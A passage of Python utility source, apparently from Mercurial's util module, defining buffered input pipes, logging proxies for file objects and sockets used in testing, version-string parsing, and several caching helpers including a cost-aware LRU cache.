     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def unbufferedread(self, size):
         if not self._eof and self._lenbuf == 0:
             self._fillbuffer(max(size, _chunksize))
         return self._frombuffer(min(self._lenbuf, size))
 
     def readline(self, *args, **kwargs):
         if len(self._buffer) > 1:
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif len(self._buffer) > 1:
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if len(self._buffer) > 1:
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self, size=_chunksize):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), size)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return ''
         raise
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, r'_orig', fh)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             r'_observer',
 
             # IOBase
             r'close',
             # closed if a property
             r'fileno',
             r'flush',
             r'isatty',
             r'readable',
             r'readline',
             r'readlines',
             r'seek',
             r'seekable',
             r'tell',
             r'truncate',
             r'writable',
             r'writelines',
             # RawIOBase
             r'read',
             r'readall',
             r'readinto',
             r'write',
             # BufferedIOBase
             # raw is a property
             r'detach',
             # read defined above
             r'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, r'_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'close', *args, **kwargs)
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'fileno', *args, **kwargs)
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'flush', *args, **kwargs)
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'isatty', *args, **kwargs)
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readable', *args, **kwargs)
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readline', *args, **kwargs)
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readlines', *args, **kwargs)
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seek', *args, **kwargs)
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seekable', *args, **kwargs)
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'tell', *args, **kwargs)
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'truncate', *args, **kwargs)
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writable', *args, **kwargs)
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writelines', *args, **kwargs)
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read', *args, **kwargs)
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readall', *args, **kwargs)
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readinto', *args, **kwargs)
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'write', *args, **kwargs)
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'detach', *args, **kwargs)
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read1', *args, **kwargs)
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, r'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, r'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, r'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 PROXIED_SOCKET_METHODS = {
     r'makefile',
     r'recv',
     r'recvfrom',
     r'recvfrom_into',
     r'recv_into',
     r'send',
     r'sendall',
     r'sendto',
     r'setblocking',
     r'settimeout',
     r'gettimeout',
     r'setsockopt',
 }
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, r'_orig', sock)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, r'_observedcall')(
             r'makefile', *args, **kwargs)
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, r'_observer')
         return makeloggingfileobject(observer.fh, res, observer.name,
                                      reads=observer.reads,
                                      writes=observer.writes,
                                      logdata=observer.logdata,
                                      logdataapis=observer.logdataapis)
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv', *args, **kwargs)
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom', *args, **kwargs)
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom_into', *args, **kwargs)
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv_info', *args, **kwargs)
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'send', *args, **kwargs)
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendall', *args, **kwargs)
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendto', *args, **kwargs)
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setblocking', *args, **kwargs)
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'settimeout', *args, **kwargs)
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'gettimeout', *args, **kwargs)
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setsockopt', *args, **kwargs)
 
 class baseproxyobserver(object):
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write('\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write('%s>     %s\n'
                               % (self.name, stringutil.escapestr(data)))
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write('%s>     %s\n'
                           % (self.name, stringutil.escapestr(line)))
         self.fh.flush()
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
     def __init__(self, fh, name, reads=True, writes=True, logdata=False,
                  logdataapis=True):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = ''
 
         if size == -1 and res == '':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
                                                       res))
 
         data = dest[0:res] if res is not None else b''
 
         # _writedata() uses "in" operator and is confused by memoryview because
         # characters are ints on Python 3.
         if isinstance(data, memoryview):
             data = data.tobytes()
 
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write('%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> bufferedread(%d) -> %d' % (
                 self.name, size, len(res)))
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> bufferedreadline() -> %d' % (
                 self.name, len(res)))
 
         self._writedata(res)
 
 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
                           logdata=False, logdataapis=True):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
                                   logdata=logdata, logdataapis=logdataapis)
     return fileobjectproxy(fh, observer)
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
     def __init__(self, fh, name, reads=True, writes=True, states=True,
                  logdata=False, logdataapis=True):
         self.fh = fh
         self.name = name
         self.reads = reads
         self.writes = writes
         self.states = states
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write('%s> makefile(%r, %r)\n' % (
             self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recv(%d, %d) -> %d' % (
                 self.name, size, flags, len(res)))
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
                 self.name, size, flags, len(res[0])))
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
                 self.name, size, flags, res[0]))
 
         self._writedata(buf[0:res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recv_into(%d, %d) -> %d' % (
                 self.name, size, flags, res))
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write('%s> send(%d, %d) -> %d' % (
             self.name, len(data), flags, len(res)))
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write('%s> sendall(%d, %d)' % (
                 self.name, len(data), flags))
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
                 self.name, len(data), flags, address, res))
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, res, level, optname, value):
         if not self.states:
             return
 
         self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
             self.name, level, optname, value, res))
 
 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
                       logdata=False, logdataapis=True):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(logh, name, reads=reads, writes=writes,
                               states=states, logdata=logdata,
                               logdataapis=logdataapis)
     return socketproxy(fh, observer)
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
     if not m:
         vparts, extra = '', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
     __slots__ = (r'next', r'prev', r'key', r'value', r'cost')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
         self.cost = 0
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
         self.value = None
         self.cost = 0
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
 
     Items in the cache can be inserted with an optional "cost" value. This is
     simply an integer that is specified by the caller. The cache can be queried
     for the total cost of all items presently in the cache.
 
     The cache can also define a maximum cost. If a cache insertion would
     cause the total cost of the cache to go beyond the maximum cost limit,
     nodes will be evicted to make room for the new code. This can be used
     to e.g. set a max memory limit and associate an estimated bytes size
     cost to each item in the cache. By default, no maximum cost is enforced.
     """
     def __init__(self, max, maxcost=0):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self.capacity = max
         self.totalcost = 0
         self.maxcost = maxcost
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def insert(self, k, v, cost=0):
         """Insert a new item in the cache with optional cost value."""
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             self.totalcost -= node.cost
             node.value = v
             node.cost = cost
             self.totalcost += cost
             self._movetohead(node)
 
             if self.maxcost:
                 self._enforcecostlimit()
 
             return
 
         if self._size < self.capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             self.totalcost -= node.cost
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         node.cost = cost
         self.totalcost += cost
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
         if self.maxcost:
             self._enforcecostlimit()
 
     def __setitem__(self, k, v):
         self.insert(k, v)
 
     def __delitem__(self, k):
         self.pop(k)
 
     def pop(self, k, default=_notset):
         try:
             node = self._cache.pop(k)
         except KeyError:
             if default is _notset:
                 raise
             return default
         value = node.value
         self.totalcost -= node.cost
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
         return value
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self.__getitem__(k)
         except KeyError:
             return default
 
     def peek(self, k, default=_notset):
         """Get the specified item without moving it to the head
 
         Unlike get(), this doesn't mutate the internal state. But be aware
         that it doesn't mean peek() is thread safe.
         """
         try:
             node = self._cache[k]
             return node.value
         except KeyError:
             if default is _notset:
                 raise
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             self.totalcost -= n.cost
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self, capacity=None, maxcost=0):
         """Create a new cache as a copy of the current one.
 
         By default, the new cache has the same capacity as the existing one.
         But, the cache capacity can be changed as part of performing the
         copy.
 
         Items in the copy have an insertion/access order matching this
         instance.
         """
 
         capacity = capacity or self.capacity
         maxcost = maxcost or self.maxcost
         result = lrucachedict(capacity, maxcost=maxcost)
 
         # We copy entries by iterating in oldest-to-newest order so the copy
         # has the correct ordering.
 
         # Find the first non-empty entry.
         n = self._head.prev
         while n.key is _notset and n is not self._head:
             n = n.prev
 
         # We could potentially skip the first N items when decreasing capacity.
         # But let's keep it simple unless it is a performance problem.
         for i in range(len(self._cache)):
             result.insert(n.key, n.value, cost=n.cost)
             n = n.prev
 
         return result
 
     def popoldest(self):
         """Remove the oldest item from the cache.
 
         Returns the (key, value) describing the removed cache entry.
         """
         if not self._cache:
             return
 
         # Walk the linked list backwards starting at tail node until we hit
         # a non-empty node.
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         key, value = n.key, n.value
 
         # And remove it from the cache and mark it as empty.
         del self._cache[n.key]
         self.totalcost -= n.cost
         n.markempty()
 
         return key, value
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
     def _enforcecostlimit(self):
         # This should run after an insertion. It should only be called if total
         # cost limits are being enforced.
         # The most recently inserted node is never evicted.
         if len(self) <= 1 or self.totalcost <= self.maxcost:
             return
 
         # This is logically equivalent to calling popoldest() until we
         # free up enough cost. We don't do that since popoldest() needs
         # to walk the linked list and doing this in a loop would be
         # quadratic. So we find the first non-empty node and then
         # walk nodes until we free up enough capacity.
         #
         # If we only removed the minimum number of nodes to free enough
         # cost at insert time, chances are high that the next insert would
         # also require pruning. This would effectively constitute quadratic
         # behavior for insert-heavy workloads. To mitigate this, we set a
         # target cost that is a percentage of the max cost. This will tend
         # to free more nodes when the high water mark is reached, which
         # lowers the chances of needing to prune on the subsequent insert.
         targetcost = int(self.maxcost * 0.75)
 
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         while len(self) > 1 and self.totalcost > targetcost:
             del self._cache[n.key]
             self.totalcost -= n.cost
             n.markempty()
             n = n.prev
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     prop = pycompat.sysstr(prop)
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
